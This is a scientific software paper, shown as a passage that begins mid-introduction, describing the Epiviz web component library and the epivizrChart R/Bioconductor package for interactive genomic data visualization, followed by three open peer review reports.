reduces the effort to visualize and create applications for genomic datasets encapsulated in Bioconductor infrastructure data representations. We developed an R/Bioconductor package, *epivizChart*\textsuperscript{4} to visualize genomic data objects within HTML documents created using RMarkdwon. We also integrated our components with Shiny\textsuperscript{7}, a web application framework for R to interactively visualize functional genomic data. **Methods** **Implementation** **Visualization components.** *epiviz-chart* components are a collection of reusable and extensible data visualizations specifically designed for genomic data. The library provides multiple data visualizations for both location (visualizing data along the genome genes tracks (*epiviz-genes-track*) or line tracks (*epiviz-line-track*)) and feature based data (visualizing quantitative measurements like gene expression with scatterplots (*epiviz-scatter-plot*) and heatmaps (*epiviz-heatmap-plot*). We use D3.js\textsuperscript{8} (version: 3.5.17) JavaScript library to render customizable and interactive charts. An *epiviz-chart* component requires two attributes to render a visualization on the page 1) *data* attribute - a JSON (JavaScript Object Notation) representation of genomic data. 2) *dimensions* (or columns) from the *data* attribute to visualize. Figure 2 demonstrates the ease of embedding or adding an *epiviz-chart* to a HTML document or web application. *epiviz-chart* components are reactive components that render the visualization only after the *json-data* attribute is initialized on the element. Any change to the *json-data* attribute triggers an event to visualize the chart. Visualizations are extensible and easily customizable to define various settings and colors. To demonstrate the extensibility of the components, we created a component *epiviz-genes-table* extending *epiviz-genes-track* and displays a table of all the genes in the current genomic region (Supplementary File 1). In addition to visualizing data, chart elements can also perform client-side operations on data sets/measurements. For example, if an *epiviz-line-track* is visualizing methylation data from multiple samples (tumor and normal), samples can be aggregated using a metric (mean, min, max, etc.) to visualize the difference in methylation between normal and tumor samples. Similarly, *epiviz-heatmap-plot* interactively and dynamically clusters data and renders the clustered dendrogram. Settings are available to change clustering type and the distance metrics. Chart components provide performance optimizations for visualizing large amounts of data by precomputing and grouping overlapping data points to a single visual object on the chart. This minimizes the number of overlapping data points to visualize and reduce rendering time of charts. **Data model** The *json-data* attribute on an *epiviz* element is a JSON object that represents genomic data in a columnar format as shown in Figure 2. The required keys in the JSON are *chr*, *start*, *end* and *data* columns to visualize. Developers can also extend the *epiviz-data-behavior* element to implement custom data parsers and formats. **Linked data selection/brushing** Chart components implement a linked data selection/highlighting (brushing) feature, to provide a quick overview and visually link the highlighted genomic region across all visualizations and datasets. The linking happens on the client side by finding positions that overlap with the highlighted region. In feature-based visualizations, for example in scatter plots and heatmaps, the visual objects on the chart are aggregated and mapped to multiple data objects across genomic regions. This mapping allows for implementing brushing and propagating events to other charts when using plots. In track-based visualization, events for brushing and selection are propagated based on the region (*chr*, *start* and *end*) in the chart. Another essential part of the epiviz design is that data and plots are separated. Users can visualize multiple charts from the same data object without having to replicate the data. This way data queries are made by the data object and not per chart, which leads to a more responsive design of the system. *epiviz-chart* components are simple user interface (UI) elements. They cannot make data requests or can directly interact with other *epiviz-* elements on the page. Chart elements create hover events that propagate up the document object model (DOM) hierarchy. To build interactive web applications or to coordinate interactions by linking data across charts, implement brushing and manage data requests across chart elements, we encapsulate charts inside app components. **App components.** *epiviz-app* components are abstract components that 1) Manage layouts of multiple visualizations, 2) Coordinate interactions across charts by genomic position to implement brushing, and 3) Manage data requests. There are two different types of *epiviz-app* elements - *epiviz-environment* elements are not linked to a specific genomic region. If a genomic region (*chr*, *start* & *end* attributes) is not initialized on the element, charts visualize the entire data set genome-wide. This helps identify patterns or interesting regions in the dataset and then investigate specific regions of interest. Figure 2. Example using components in HTML page. Epiviz components can be inserted in any HTML page using tags defined by the component library (e.g., `epiviz-json-scatter-plot` in this example). Data is supplied to the chart via the `json-data` attribute of the HTML tag. In this example, we show a sample JSON object representing genomic data. In this figure, we are only showing the first 5 data points although the plot renders more visual objects. When used in conjunction with `epiviz-data-source` components, data can be queried from a web server or via a WebSocket connection through a corresponding assignment of the `json-data` attribute. Adding the `epiviz` element to the HTML page renders the interactive scatter plot. `epiviz-navigation` is a specific instance of `epiviz-environment` with genomic region linked to the element using the `chr`, `start` and `end` attributes. Navigation elements provide UI functionality to search for a gene/microarray probe (since we serve data from the Gene Expression Barcode project) or update the location to a specific region of interest. Figure 3 (bottom) shows a navigation element with various charts when expanded. The top header bar contains functionality to navigate left/right and zoom in/out around the current genomic location. Navigation elements implement the usual genome browser interactions (pan, zoom, location input and gene name search). The chromosome location text box identifies the current location of the navigation element and can be updated to change the genomic region. Hovering over the chromosome location sends a brushing event to highlight this region across other charts encapsulated within the component. Navigation elements can be collapsed (as shown in the top panel). Figure 3. Overview of the Epiviz2 web application for Epigenome Roadmap data. In this workspace, we explore data from the Epigenome Roadmap project in two genomic regions simultaneously (Epiviz Navigation components) along with a genome-wide scatterplot of gene expression (top left). The environment element is not constrained to a specific genomic region, and hence charts included within them visualize entire datasets. In this example, the scatter plot in the top left shows RNA-seq data for esophagus and colon tissues across the entire genome. Epiviz Navigation components, on the other hand, are constrained to specific genomic regions. Given genomic regions or genes of interest in the dataset to further investigate, multiple navigation elements, each corresponding to distinct genomic regions can be added to the workspace. In this example, the navigation element at the bottom of the page visualizes (in order from top to bottom): 1) a genes track showing gene location span and strand, 2) a stacked-blocks track of ChIP-seq peaks in esophagus and colon across two different histone markers (H3K27me3 and H3k9me3), and 3) a line track that visualizes the fold change signal data for the same ChIP-seq data. The line track shows that the region around the gene “ATP6V1C1” shows a peak for H3K27me3 in Esophagus but not in Colon. The stacked blocks track compares the peak regions with other histone markers (H3K9me3). We can also investigate this region further by exploring methylation and gene expression data from these tissues by adding a navigation element (top right). The component library provides an interactive and integrative environment for genomic data exploration. This example workspace can be accessed at http://epiviz2.cbcb.umd.edu/#/epiviz-C7Q4UmI. to allow users to flexibly focus on specific genomic regions of interest while providing an overview of other regions of interest. When collapsed, navigation components show an ideogram of the corresponding chromosome with an indication of the specific genomic region encompassed within the components (yellow rectangle). No data requests are made from charts within collapsed navigation components. App elements coordinate events across charts, i.e., when a chart element is highlighted, an event is propagated to all other charts in the workspace (including those visualizing genome-wide data). App elements also manage layouts for positioning and resizing chart elements. The default grid layout splits the available width into six equal columns. When charts are added to a workspace, track-based charts extend across all the six columns. but plot-based chart elements only span across two columns. App components have the functionality to navigate the genome and add new visualizations. Adding a new visualization opens a measurement browser, a UI interface that allows filtering and selection of measurements across different data sets. App components can also detect if the application or page has an active web server or WebSocket connection initialized using the datasource components. If the page has no active datasource component, interactive features that generate data requests (for example – navigating to a new genomic region or adding new charts) are disabled. **Datasource components. epiviz-data-source** component provides functionality for the epiviz app components to interact with an active web server or a WebSocket connection. Datasource components require the API endpoint (provider-url) attribute where the web server or WebSocket is located and the provider-type attribute that specifies if it’s a web server or a WebSocket connection. When the user interacts with epiviz components, for example, adding a new visualization or navigating to a new genomic region, these interactions generate data requests that are eventually propagated and managed by the datasource elements. **WebServer data provider** We developed a Python Flask (version 0.12.4) based data provider that queries genomic data stored in MySQL database and responds to data requests. The data provider enables summarization where we bin small regions together and average the value for the measurements. We see a significant improvement in draw times of charts by summarizing data as discussed in the Benchmarks section of this paper. We also implemented data import functions for commonly used Bioconductor datatypes like GenomicRanges, SummarizedExperiment, etc., in our R/Bioconductor epivizrData package. **WebSocket data provider** The JavaScript data types that manage genomic data in epiviz components are designed similarly to Bioconductor data types. This enables easy integration and visualization of Bioconductor data objects using the visualization components. The R/Bioconductor epivizrChart package is an API to interactively visualize Bioconductor data objects. We discuss more about epivizrChart package in the Use case section of the paper. **Workspace component. epiviz-workspace** component is built upon the Google Firebase infrastructure to manage user authentication, create shareable and reproducible visual analysis workspaces. Workspace components are easily reconfigurable and allow developers to customize this component to their firebase instance. **Operation** Web components are a set of standardized browser APIs still being implemented across various browsers. Web components implement the Shadow DOM feature, wherein the element defined by the component is rendered separately from the rest of the HTML document avoiding namespace collisions and is isolated to keep element styling and access private to the element. Web Components are natively supported in Chrome and Safari and are still in development in Mozilla Firefox and Microsoft Edge browser. Epiviz Components are developed using the Google Polymer library. For browsers without native web component support, the Google Polymer library provides polyfill that helps developers use components seamlessly with little performance overhead. It uses a dynamic loader to lazy load polyfill libraries for missing implementations. Documentation on attributes and methods in epiviz components is available from GitHub. The component library can visualize data by adding the chart tag to a HTML page with the data attribute as shown in Figure 2. The epivizrChart package requires R version 3.4.0 or higher and packages from Bioconductor version 3.6 or higher. The memory requirements for using the epivizrChart package depends on the size of the dataset. However, for most use cases, a standard laptop will handle most applications visualizing data using the component library and the epivizrChart package. To visualize a Bioconductor data object, supply the supported object to the epivizrChart() function. **Use cases** **Epiviz2 web application** Epiviz2 is an interactive and integrative genome browser that sends requests to a Python Flask data provider and a MySQL database. Epiviz2 allows users to interactively explore and simultaneously visualize datasets across multiple genomic regions, a feature not available in most current genome browsers. The real advantage of the genome browser lies in the ability to visualize data from multiple regions of the genome or the entire dataset to identify genomic regions of interesting patterns or outliers. Users can then further explore and visualize annotations or measurements from other datasets in these regions to gain insights. Figure 3 illustrates this workflow of exploratory data analysis. The gene expression scatter plot is encapsulated inside the environment element and visualizes the entire dataset, whereas the navigation elements are linked to a specific genomic region. We also implemented a color by region for genome-wide scatter-plots, where visual objects in the scatter plot will be colored with a different color specific to each of the genomic regions shown in navigation elements. Our instance of the Epiviz2 application is hosted here. The Epiviz2 instance we host at the University of Maryland contains data from the NIH Roadmap Epigenomics project. The NIH Roadmap Epigenomics Mapping Consortium leverages next-generation sequencing technologies to map DNA methylation, histone modifications, chromatin accessibility and small RNA transcripts in tissues selected to represent the normal counterparts of tissues and organ systems frequently involved in human disease. Our instance of the roadmap database contains DNA methylation, RNA seq, and histone modification (for markers: h3k9ac, h3k9me3, h3k27ac, h3k27me3) fold change and peak data for seven different tissue types — Breast Myoepithelial cells, Brain Hippocampus Middle, Lung, Liver, Sigmoid Colon, Pancreas and Esophagus. The corresponding data files are downloaded from Bioconductor’s AnnotationHub repository and imported into the MySQL database using the functions available in the epivizrData package. epivizrChart R/Bioconductor package The Bioconductor open source software community creates bioinformatics workflows and pipelines to analyze and visualize genomic data sets. To support interactive visualization of Bioconductor data objects, we developed an R/Bioconductor package `epivizrChart`, an API package to programmatically create and visualize genomic datasets using epiviz components without having to import data into a MySQL database. `epivizrChart` demonstrates the ease of integration with existing frameworks and can create interactive web pages or RMarkdown documents as shown in Figure 4. Integrating with a statistical and powerful state-of-the-art bioinformatics data analysis platform allows users to quickly explore, analyze and visualize genomic datasets with various packages available through Bioconductor. **online vs offline.** Using the `epivizrChart` package in an **online** mode creates an active WebSocket server and allows interactions between the components and the R-session. In **online** mode, components make data requests using the WebSocket connection. In **offline** mode, data is attached to the components and a standalone HTML page is generated. This allows researchers to create interactive, shareable and reproducible visualization documents. --- Figure 4. Interactive visualization of R/Bioconductor data objects using the `epivizrChart` package. This figure is part of an RMarkdown document and demonstrates the ease of integrating the visualizations from the Epiviz component library with existing frameworks. The `epivizrChart` function infers the chart type based on the data object parameter. “Homo.sapiens” from the top panel is a UCSC Gene annotation object for human hg19 reference genome and is visualized by `epivizrChart` as a genes track. `tcga_colon_curves` is a sample dataset from The Cancer Genome Atlas for colon tissue. This is a `GRanges` object and is visualized as a Line Track. The `epivizrChart` package can also programmatically create navigation elements. This enables interactions and brushing across the charts as shown in the bottom panel around the gene “PHLDB1”. A vignette describing more examples and use cases is available in the package either on the GitHub repository or through Bioconductor (http://bioconductor.org/packages/release/bioc/html/epivizrChart.html). **Integration with Shiny.** Shiny is a web application framework to create standalone web applications on a webpage or in an RMarkdown document. Since Shiny supports HTML, epiviz components can be embedded or integrated in Shiny applications or dashboards to interactively visualize genomic data. The vignette `IntegrationWithShiny.Rmd` in the `epivizrChart` package demonstrates 1) a simple application that integrates Shiny to visualize R/Bioconductor data objects using epiviz components 2) interactions with non-epiviz components in Shiny as shown in Figure 5. **Benchmarks** We use the google chrome headless puppeteer tool to measure request times and chart draw times to compare our web component implementation of the Epiviz2 application (with Python-MySQL backend) to the current Epiviz application (with PHP-MySQL backend). We compare the times by varying the genomic region on the scatter plot component (epiviz-scatter-plot) across two different backend implementations: 1) Summarized responses (current implementation), where we bin the genomic region into 2000 intervals and average the data values for the measurement within each interval and, 2) Unsummarized responses (previous epiviz implementation), where the entire dataset for the region is sent back to the UI. When visualizing large genomic regions, data points tend to overlap on scatter plots and other visualizations because of pixel and chart size limitations on the page. Summarizing reduces the draw times in rendering charts because of fewer overlapping points as shown in Figure 6. However, the response times for data requests have not changed significantly because the computation time for summarization is usually similar to the time taken to transfer the entire dataset in the unscaled implementation. The scripts for the benchmarks are ![Figure 5. Interactive visualization of R/Bioconductor data objects in Shiny.](image) In this Shiny application, we explore gene expression from the Gene Expression Barcode Project\textsuperscript{11} for colon, lung and breast tissues for tumor and normal samples as a heatmap. We visualize annotation tracks for the genes and position of CpG islands in the current region. We also integrated IGV with epiviz components and the igv track (bottom right) displays the gene position and the aligned illumina reads for HG01879 sample from 1000 genomes\textsuperscript{12} project. The IGV track queries the file directly to get data and visualize the reads. We also have a genomic location text box (top left) that is a non-epiviz component and can be used to interact with epiviz components within the Shiny application. Changing the location, updates the genomic region in the navigation element and all charts. Figure 6. Effect of data summarization on the Epiviz Python data. Here we compare average data request and data rendering time for continuous data along the genome to study the effect of summarizing data on the data backend across 10 runs. Lines for ‘unsummarized (u)’ correspond to the previous Epiviz implementation where all data within a genomic region is returned by the php-backend to the web browser client. Lines for ‘summarized (s)’ correspond to our new implementation of the python-data backend, where data summarization within genomic regions is performed in the backend. The left panel shows the mean draw times between these scenarios where we see a significant improvement in the draw times when the data is summarized in the backend. The bar plot in the right panel shows the total http time and is separated to show mean latency times and data transfer times. The number of bytes transferred for summarized and unsummarized backends is also displayed. The error bars represent one standard deviation away from the mean draw time in the left panel and mean http time in the right panel. We observe that the total http request time (summarization plus data transfer) is comparable to transfer time for the larger unsummarized data scenarios. Discussion The component library is an extension to our Epiviz web application for visualizing functional genomic data sets. The component library is our solution to creating reusable and extensible visualization elements that work with any modern web browsers. The value of a data visualization library depends on its usability and easy integration with existing web frameworks. Epiviz components can be integrated with any framework that supports HTML. The Web has now become the platform for application development and the demand for modular, extensible frameworks like web components is on the rise. Since epiviz components are modular, we believe it simplifies the process of developing and managing genomic web applications. We also welcome developers to contribute to and extend our component library. Conclusion To our knowledge, the Epiviz component library is the first genomic data visualization library based on web components. The library provides an easy and efficient way for bioinformatics developers to add interactive data visualization features to their web applications or datasets with minimal programming experience. It is cross-platform, modular and runs on any modern web browser. We introduced our Epiviz2 web application to demonstrate the features and interactions that can be developed using the component library. We also showed the ease of integration with other frameworks by the R/Bioconductor epivizrChart package, that provides interactive, reproducible visualizations of data objects in R and also create interactive standalone HTML documents. Future work One of the advantages of web components is that HTML is now more readable. With a more declarative implementation, elements can be self-descriptive. We would like to implement a visualization grammar similar to ggvis as attributes/properties on the epiviz elements. We plan to further develop the library to extend our current set of visualizations and support various genomic data types including those implemented in Metaviz an interactive and statistical metagenomic data browser. We plan to implement canvas-based rendering of charts to scale and significantly reduce draw times especially when rendering large datasets. Data availability The Datasets used for the use case describing the Epiviz Application come from the NIH Roadmap Epigenomics Project. The data files are downloaded from Bioconductor’s AnnotationHub repository and imported into the MySQL database using the functions available in the epivizrData package. For the epivizChart package, the datasets used are included as part of the package. The vignettes describing the use cases are also available on GitHub or through Bioconductor. Software availability Epiviz component library is open sourced and is available on GitHub. The collection of components discussed in this article are available at: - epiviz charts - http://github.com/epiviz/epiviz-chart - epiviz workspace - http://github.com/epiviz/epiviz-workspace - epiviz app - http://github.com/epiviz/epiviz-app The scripts for benchmarks are available in the epiviz-charts repository. R/Bioconductor epivizChart package is available either through Bioconductor (http://bioconductor.org/packages/release/bioc/html/epivizChart.html) or GitHub (http://github.com/epiviz/epivizChart). Both the repositories also contain the vignettes described in Figure 4 and Figure 5. The Python Flask API data provider is available at http://github.com/epiviz/epiviz-data-provider. Documentation is available at http://epiviz.github.io. Archived source code at the time of publication – https://doi.org/10.5281/zenodo.1299990 Software license: MIT License. Competing interests No competing interests were disclosed. Grant information This work was supported by the grant funded by the National Institutes of Health [R01GM114267]. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Acknowledgements We thank Lan Tran for his early work on the development of the component library. Supplementary material Supplementary File 1 – Document containing extending-genes-track contains code that extends an existing epiviz chart component (epiviz-genes-track) and displays a table of genes and their genomic positions. Click here to access the data. References Open Peer Review Current Peer Review Status: ? ? √ Version 1 Reviewer Report 14 August 2018 https://doi.org/10.5256/f1000research.16818.r36145 © 2018 Qin Z. This is an open access peer review report distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. Zhaohui Steve Qin Department of Biostatistics and Bioinformatics, Rollins School of Public Health, Emory University, Atlanta, GA, USA In this paper, Kancherla and colleagues present the Epiviz Component Library, an open source reusable and extensible data visualization library and application framework for functional genomic data. According to the authors, the Epiviz component library is the first genomic data visualization library based on web components. The library provides an easy and efficient way for bioinformatics developers to add interactive data visualization features to their web applications or datasets with minimal programming experience. Overall, I found the tools describe in the paper very useful and promising. It makes complex visualization of multiple types of omics data easy and convenient. The new infrastructure is built upon the established epiviz tool that the group has developed earlier. This group is highly experienced in genomics data visualization and are developing state-of-art infrastructure using the latest technologies. The utilities of the tools great outweigh their limitations and shortcomings. I only have a few minor points. Figure 3. In this use case, I don’t quite understand the connection between the gene expression scatter plot and the other panel. For me, the figure is more like the demonstration of all types of plots it can produce. It is not obvious what biological insight can be gleaned from the plots. It is unclear what kind of biological question the user is trying to ask when making these plots. To be fair, this is always difficult. In most cases, discovery is made unintentionally, out of luck. Hence just demonstrating all the plotting capabilities is probably okay. If so, may be a systematic catalog of all the plots that can be produced will be helpful. Figure 6 is very informative and interesting. I noticed that the numbers of bytes transferred for summarized and unsummarized backends are exactly the same for 10K, 100K and 1M, but dramatically different for 10M, 100M and chr. Why is that? It would be very helpful to the general audience if the authors can articulate in more details, and intuitively, the benefits and advantages of web components-based visualization library for genomics data, compared to the current technologies. **Is the rationale for developing the new software tool clearly explained?** Yes **Is the description of the software tool technically sound?** Yes **Are sufficient details of the code, methods and analysis (if applicable) provided to allow replication of the software development and its use by others?** Yes **Is sufficient information provided to allow interpretation of the expected output datasets and any results generated using the tool?** Yes **Are the conclusions about the tool and its performance adequately supported by the findings presented in the article?** Yes *Competing Interests:* No competing interests were disclosed. I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard. --- **Reviewer Report 08 August 2018** https://doi.org/10.5256/f1000research.16818.r36142 © 2018 Holmes I. This is an open access peer review report distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. **Ian Holmes** Department of Bioengineering, University of California, Berkeley, Berkeley, CA, USA This paper describes a library for integrative genomic data exploration, using modern web technologies, particularly HTML Web Components, with solid R integration. The interactive figures in the paper are very interesting, and show how the library can be used to build basic dashboards or RMarkdown pages with interactive charts and genome views. The dashboards look a little spartan, and a bit cryptic at times, but are a great illustration of the potential for this kind of thing and could develop into something really powerful. Plus, with the Bioconductor integration, they offer a lot of ready-to-go useful data for use cases around human genomics. All round a good contribution, although I think marred (very slightly) by some opening text in the paper which presents the software as being very general-purpose and detached from specific use cases - a style of presentation which I view as a mistake that risks detracting from a reader’s clear understanding of what the software can actually do. Modularity is a virtue, but developers often overestimate readers’ level of interest in it. For example, according to the authors, previous genome browsers have all been based on “specific use cases”, whereas Epiviz Web Components are more amenable to “integration and extensibility”. On closer reading, it turns out that the primary use case (the NIH Roadmap Epigenomics project) is just a bit further down in the paper, as is the platform (R/Bioconductor) currently required to load any useful data or the documentation vignettes. So I think the generality of the tool is possibly a bit hyperbolically described, in a way that risks obscuring the actual current uses (and software dependencies) of the tool. The authors claim that, in Epiviz Web Components, they have developed the first genome browser that uses Web Components, which form a collection of browser features and APIs that have emerged from JavaScript libraries like React. Due to the fast-changing nature of the web, technologies such as this emerge with rapidity and regularity, and I find it plausible that this is the first genome browser to use these tools. They should be useful and it's interesting to see them described in practice. The Epiviz Web Components tool is a useful addition to the bioinformatics visualization ecosystem, bridging R and the modern web. With that said, I think perhaps that web bioinformatics software - and its associated publications - should be measured on several axes. Compliance with emerging web standards (such as Web Components) is certainly one such axis, but compliance with established bioinformatics standards would be another axis (how many formats/database schemas does the software support? how many other resources does it integrate with? what choices were made about which data sources to support, and which to omit? are those choices explained in the text? is there a guiding philosophy that can help inform readers who might be considering using this software?) In terms of bioinformatics compatibility, bioconductor’s AnnotationHub seems intended to be the primary way of loading data into the browser, though it isn’t quite presented this way. Bioconductor is mentioned in the abstract as an example that was developed “to demonstrate the ease of integration with other frameworks”; I think it would be more accurate to say that Bioconductor is the only framework that this tool supports, and while the tool was written in such a way as to be hypothetically platform-independent, that hypothesis has not yet been seriously tested. Epiviz Web Components does have its own JSON formats for data, which is promising in terms of backing up the claim that data import would be straightforward, but as far as I can tell there are no tools to import common file formats (FASTA, GFF, etc) and it's not clear whether there are any plans for developing such import tools, or if the Bioconductor dependency will in practice be permanent. The paper’s interactive figures (Figures 3 & 4) are intriguing. I unfortunately had some problems installing the R from source (several dependencies of epivizrChart failed to build on my Mac Pro running macOS Sierra 10.12.6, R version 3.3.3), so I have not tried them on my local machine, only the JavaScript running in the web browser client. I found the captions to the Figures hard to follow: for example, I found myself wondering if there was a way for the user in the web browser to figure out how the components in Figure 3 (the genes track, stacked-blocks track, and line track) are linked, to use the same underlying data sets? In other words, does that linking only happen via configuration files and other back-end interfaces, or is it exposed to the end user? How were the markers H3K27me3 and H3k9me3 selected, why esophagus & colon, why drill into methylation and expression, what's the biomedical back-story here? And just in terms of how to use the app to explore these cases as described, there could be more exposition. There are quite a lot of interactive buttons and menus and nested windows, so I was looking around for explanations of all that, passing by the documentation at https://epiviz.github.io/epiviz-chart/ (which is apparently oriented toward developers, not end-users, and is pretty minimal) and ending up at the https://epiviz.github.io/ video tutorial (“Epiviz quick tour”). I couldn’t find any thorough written description of the Epiviz web app, only that 3-minute YouTube video. I’m not very confident in my understanding of the totality of its capabilities after watching the video and looking at Figure 3. The potential to build pages out of RMarkdown, as shown in Figure 4, is pretty exciting. In summary: I would suggest improving the article by adding more extensive descriptions of the biological use cases, and how they might be investigated using the tool. Make another video if you insist, but what I’d really be looking for is clearly-written tutorial text with figures. This will complement and enhance the current concise description of the software, and offer an alternative approach for a broader class of readers. **Is the rationale for developing the new software tool clearly explained?** Partly **Is the description of the software tool technically sound?** Partly **Are sufficient details of the code, methods and analysis (if applicable) provided to allow replication of the software development and its use by others?** Partly **Is sufficient information provided to allow interpretation of the expected output datasets and any results generated using the tool?** No **Are the conclusions about the tool and its performance adequately supported by the findings presented in the article?** Yes **Competing Interests:** I work on web-based genome browsers. I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard, however I have significant reservations, as outlined above. Kancherla et al describe a set of re-usable web-components for the Epiviz tool, which are designed for visualizing genomic/epigenetic data in an integrative and interactive way. The components include the visualization components, app components and datasource components, are designed in a modular way and can be integrated with JavaScript libraries and other HTML frameworks. Moreover, there is an R-version available, which can be used with R / Shiny and to produce stand-alone HTML documents. The general concept and design of the Epiviz web components is very good. With growing amounts of -omics data, we need easy-to-use, re-usable and extensible code for interactive data visualization, since visualizing large-scale data enhances our understanding of inherent trends and features of the datasets under analysis. We therefore have a growing need for easy-to-use and re-usable software for their visualization; re-useable and extensible tools like Epiviz are highly sought-after. The manuscript is in general well written and the software has a nice look and feel. Though, there are a couple of points that should be addressed prior to indexing. - While I find the description of the tools quite good and explicit, the description of the used biological examples, as well as the plots, is in my view too sparse. In fact, visualization only makes sense to the reader, if he/she understands, what is plotted and how to interpret the plots. With the manuscript at hand, as well as the user manual, this is not made easy. For instance, there is a general lack of axis labels on the scatter plots. E.g. Figure 2 and 3 show scatter plots, however from different data sources (peak positions/height or differential detection(?) on the genome, RNA-seq data (?)). What are the numbers on Figure 3 (ie the scatter plot of the RNA-seq data)? Are these rpkm's? Log2 fold change? As the plots are quite useful and might be used directly for publication, this is a feature that should be implemented. - Also, in the same Figure/example (methylation workspace following the given link of the legend to Figure 3), how does the RNA-seq data relate to the chip-seq/methylation data? Is there a possibility to see the identity of the genes, when hovering over the dots in the scatter plot? At least for the pre-selected example shown on the web-page, there is no brushing over from the zoomed-chromosome plot to the scatter plot and vice versa. However, this feature seems to work, when changing the chromosomal region. Is this due to the fact that the genes in the selected region are not present in the RNA-seq data? If so, the authors should think about changing the selected region for their demonstration. - Also, what is the relationship of genes in the scatter plot that are highlighted together, when one is selected? Do they share the same enhancer/methylation peaks? - It might be useful to provide information on the genes selected in the RNA-seq plot also via an info box or pop-up, which shows the name of the gene(s) and its(their) associated differential expression values. - Is there the possibility to e.g. change the region of the chromosome-zoom/the chromosome view, when selecting dots in the scatter plot of the RNA-seq data? This seems currently not possible, however would be desirable. - In the same example, the brushing of the chromosome view vs the zoomed-in chart does not work. When changing the genomic region, there is no highlighting any more in the chromosome view, so only the pre-selected region seems to work. This needs to be fixed. - Finally, in the same plot, changing the chromosome for zoomed-in visualization has no effect on the whole-chromosome view, which I assume should also be updated. In my opinion, the whole-chromosome view is in its present form not really useful and could be omitted. - In the same workspace (methylation workspace), there is a scatter plot at the bottom of the page; what do the numbers in the scatter plot refer to? See data labels problem already discussed above. On the binning of data values, the authors describe that the genomic region is binned into 2000 intervals. To which overall length does this refer to? Is always a fixed length chosen or can the user determine the length? Binning e.g. 100000 bp would then give quite different results than e.g. 1000000 bp. There are also some errors in the manuscript, more specifically in the description of Figure 3. It currently states: “In this example, the navigation element at the bottom of the page visualizes (in order from top to bottom): 1) a genes track showing … “ Instead, it should read, I assume, as the genes track is at the bottom of the figure: “In this example, the navigation element at the bottom of the page visualizes (in order from **bottom to top**): 1) a genes track showing … “ **Is the rationale for developing the new software tool clearly explained?** Yes **Is the description of the software tool technically sound?** Yes **Are sufficient details of the code, methods and analysis (if applicable) provided to allow replication of the software development and its use by others?** Yes **Is sufficient information provided to allow interpretation of the expected output datasets and any results generated using the tool?** Partly **Are the conclusions about the tool and its performance adequately supported by the findings presented in the article?** Partly **Competing Interests:** No competing interests were disclosed. I confirm that I have read this submission and believe that I have an appropriate level of expertise to confirm that it is of an acceptable scientific standard, however I have significant reservations, as outlined above. • Your article is indexed in PubMed after passing peer review • Dedicated customer support at every stage For pre-submission enquiries, contact research@f1000.com
{"Source-Url": "https://f1000researchdata.s3.amazonaws.com/manuscripts/16818/4ed93e21-4f8e-4d70-81e2-bf5a409839ee_15433_-_jayaram_kancherla.pdf?doi=10.12688/f1000research.15433.1&numberOfBrowsableCollections=17&numberOfBrowsableInstitutionalCollections=4&numberOfBrowsableGateways=22", "len_cl100k_base": 10336, "olmocr-version": "0.1.50", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 47423, "total-output-tokens": 12229, "length": "2e13", "weborganizer": {"__label__adult": 0.0004198551177978515, "__label__art_design": 0.0007600784301757812, "__label__crime_law": 0.000408172607421875, "__label__education_jobs": 0.0031223297119140625, "__label__entertainment": 0.00022685527801513672, "__label__fashion_beauty": 0.0002770423889160156, "__label__finance_business": 0.0005230903625488281, "__label__food_dining": 0.0004925727844238281, "__label__games": 0.0008525848388671875, "__label__hardware": 0.0017862319946289062, "__label__health": 0.00244903564453125, "__label__history": 0.0005121231079101562, "__label__home_hobbies": 0.0002123117446899414, "__label__industrial": 0.0005097389221191406, "__label__literature": 0.0003898143768310547, "__label__politics": 0.00030231475830078125, "__label__religion": 0.0005431175231933594, "__label__science_tech": 0.368408203125, "__label__social_life": 0.00025534629821777344, "__label__software": 0.0655517578125, "__label__software_dev": 0.55078125, "__label__sports_fitness": 0.0003783702850341797, "__label__transportation": 0.00046443939208984375, "__label__travel": 0.00025153160095214844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54173, 0.01916]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54173, 0.40926]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54173, 0.85533]], "google_gemma-3-12b-it_contains_pii": [[0, 2223, false], [2223, 3473, null], [3473, 7064, null], [7064, 13224, null], [13224, 14979, null], [14979, 17600, null], [17600, 23893, null], [23893, 26242, null], [26242, 28979, null], [28979, 32771, null], [32771, 37334, null], [37334, 40025, null], [40025, 42406, null], [42406, 46613, null], [46613, 48309, null], [48309, 52337, null], [52337, 54010, null], [54010, 54173, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2223, true], [2223, 3473, null], [3473, 7064, null], [7064, 13224, null], [13224, 14979, null], [14979, 17600, null], [17600, 23893, null], [23893, 26242, null], [26242, 28979, null], [28979, 32771, null], [32771, 37334, null], [37334, 40025, null], [40025, 42406, null], [42406, 46613, null], [46613, 48309, null], [48309, 52337, null], [52337, 54010, null], [54010, 54173, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54173, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54173, null]], "pdf_page_numbers": [[0, 2223, 1], [2223, 3473, 